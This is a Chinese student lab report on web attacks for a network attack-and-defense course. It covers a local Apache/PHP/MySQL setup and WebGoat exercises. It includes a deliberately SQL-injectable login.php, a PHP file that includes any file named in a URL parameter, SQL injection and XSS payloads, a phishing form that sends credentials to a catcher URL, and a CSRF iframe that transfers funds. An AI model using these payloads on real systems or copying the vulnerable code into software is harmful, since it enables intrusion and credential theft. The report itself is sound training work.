Exp8 Web综合
目录
1.6.1 SQL(String SQL Injection)
1.6.3 CSRF(CSRF Prompt By-Pass)
启动Apache服务 service apache2 start
查看端口占用情况 netstat -aptn
80端口被Apache监听,服务启动成功。

Kali浏览器访问回送地址 127.0.0.1 或主机浏览器访问Kali IP 192.168.145.129 ,显示Apache2默认测试页。

进入Apache目录 cd /var/www/html
新建html文件 touch 4316.html
修改文件夹权限 chmod 777 /var/www/html
编辑文件内容 vi 4316.html
使用GET方法获取用户名、密码,GET与POST的直观区别在于GET使用URL传递参数,提交用户名、密码时可以在地址栏中看到明文,而POST使用Request Body传递参数,无法直接看到参数明文。
1 <html> 2 <head> 3 <meta charset="utf-8"> 4 <style> 5 body 6 { 7 background-color:#d0e4fe; 8 text-align:center; 9 } 10 h1 11 { 12 color:red; 13 } 14 p 15 { 16 font-family:"Times New Roman"; 17 font-size:10px; 18 } 19 </style> 20 </head> 21 <h1> 22 北京电子科技学院电子邮件系统 23 </h1> 24 <body> 25 电子邮件登录 26 <form action="login.php" method="GET" onsubmit="return inputTest()"> 27 <br><input type="text" name="username" value="@besti.edu.cn" id="usr"/><br><br> 28 <input type="password" name="password" placeholder="密码" id="passwd"/><br><br> 29 <input type="submit" value="登录"/> 30 </form> 31 </body> 32 <p> 33 版权所有©2016 北京电子科技学院 北京市丰台区富丰路7号 邮编:100070 34 </p> 35 </html>
主机浏览器访问 192.168.145.129/4316.html

在原有html代码的基础上添加一段JavaScript代码,实现对用户是否填写用户名、密码的判断。
1 <script> 2 function inputTest() 3 { 4 if(document.getElementById("usr").value=="") 5 { 6 alert("请输入用户名"); 7 return false; 8 } 9 else if(document.getElementById("passwd").value=="") 10 { 11 alert("请输入密码"); 12 return false; 13 } 14 else 15 { 16 alert("欢迎"+document.getElementById("usr").value);
17 return true; 18 } 19 } 20 </script>

在用户点击登陆按钮后回显“欢迎+输入的用户名”。

利用回显用户名注入HTML及JavaScript。
用户名输入 <script>alert("hack!")</script>
启动MySQL服务 service mysql start
登录 mysql -u root -p
默认密码 password
查看当前数据库信息 show databases;
选择数据库 use mysql
查看当前用户信息 select user, password, host from user;

创建用户 create user 'test'@'localhost' identified by '1234';
修改root密码 set password for root@localhost = password('1234');
刷新权限表 flush privileges;

新建数据库 create database test;
选择数据库 use test
新建数据表 create table usr(username VARCHAR(10),password VARCHAR(10));

查看当前数据表信息 show tables;
插入属性 insert into usr values('root','1234');
查询属性 select * from usr;

在/var/www/html/文件夹下新建test.php文件。
1 <?php 2 echo($_GET["a"]); 3 include($_GET["a"]); 4 echo "test"; 5 ?>
主机浏览器访问 192.168.145.129/test.php
经测试,PHP正常工作。

新建login.php文件。
1 <?php 2 echo "loading...<br>"; 3 $uname=($_GET["username"]); 4 $pwd=($_GET["password"]); 5 echo $uname; 6 echo $pwd; 7 $query_str="SELECT * FROM usr where username='{$uname}' and password='{$pwd}';"; 8 $mysqli=new mysqli("127.0.0.1","root","1234","test"); 9 if($mysqli->connect_errno) 10 { 11 printf("Connect failed\n"); 12 exit(); 13 } 14 echo "<br>Connected!<br>"; 15 if($result=$mysqli->query($query_str)) 16 { 17 if($result->num_rows>0) 18 echo "Welcome home!<br>"; 19 else 20 echo "Login Failed!<br>"; 21 $result->close(); 22 } 23 $mysqli->close(); 24 ?>

密码正确,登录成功。

密码错误,登录失败。

用户名或密码框输入 ' or 1=1#

因为,原语句 SELECT * FROM usr where username='{$uname}' and password='{$pwd}'; 中密码 {$pwd} 被赋值为 ' or 1=1# ,
原语句变为 SELECT * FROM usr where username='root' and password='' or 1=1#'; 。或用户名 {$uname} 被赋值为 ' or 1=1# ,
原语句变为 SELECT * FROM usr where username='' or 1=1#' and password='1111'; 。
#为注释符,使后续语句无效。
1=1为永真式,在“或”判断中使条件成立。
因此,无论用户名、密码是否正确,都能登录成功。
将图片4316.JPG放在/var/www/html目录下。
更改图片权限 chmod 777 4316.jpg
主机浏览器输入用户名 <img src="4316.jpg"/>

安装JDK1.8
下载地址(https://www.oracle.com/java/technologies/javase/javase8u211-later-archive-downloads.html)
安装指南(https://www.jianshu.com/p/9ec7838411c8)

检查Java版本 java -version

安装WebGoat
下载地址(https://github.com/WebGoat/WebGoat/releases/tag/7.0.1)
在文件位置打开终端,安装并运行 java -jar webgoat-container-7.0.1-war-exec.jar
如图,启动成功,不要关闭终端。

Kali浏览器输入 http://localhost:8080/WebGoat/login.mvc 进入登录页面,用给出的用户名、密码登录。

1.6.1 SQL(String SQL Injection)
输入 'or 1=1;--
原理同1.5.1,--为SQL语言注释符。

在搜索框中输入以下攻击代码,创建一个表单,回显用户名、密码。
1 </form> 2 <script> 3 function hack(){ 4 XSSImage=new Image; 5 XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; 6 alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); 7 } 8 </script> 9 <form name="phish"> 10 <br> 11 <br> 12 <HR> 13 <H2>This feature requires account login:</H2> 14 <br> 15 <br>Enter Username:<br> 16 <input type="text" name="user"> 17 <br>Enter Password:<br> 18 <input type="password" name = "pass"> 19 <br> 20 <input type="submit" name="login" value="login" onclick="hack()"> 21 </form> 22 <br> 23 <br> 24 <HR>


1.6.3 CSRF(CSRF Prompt By-Pass)
在信息框中输入以下攻击代码,转移收件人的资金。
<iframe src="attack?Screen=300&menu=900&transferFunds=9999"> </iframe> <iframe src="attack?Screen=300&menu=900&transferFunds=CONFIRM"> </iframe>



表单是网页中用于接收用户提交数据的模块,有文本框、下拉框等形式。
HTML、XML、Python、PHP、JavaScript、ASP......
ASP、JSP、PHP。
检查用户输入(限制长度、限制特殊字符如'--;)、用户名加密存储、密码存储哈希值等。
此次实验是本学期网络对抗技术课程的最后一次实验,回首过去,本学期的8次实验课让我受益匪浅,不仅提升了我的理论知识水平和计算机实操技能,还培养了我解决问题的能力。虽然课程中的实验大部分为“复现”级,很少有强调完全自主创新的“开创性”实验,但我认为这样的设计是恰当的。在初学阶段,更重要的是学习掌握网络对抗中的各种工具,把存在于PPT上的攻击方法亲手做一遍,更深刻地理解其原理,而非仅仅记住某攻击方法的某几个特点。感谢刘老师一学期的指导!

浙公网安备 33010602011771号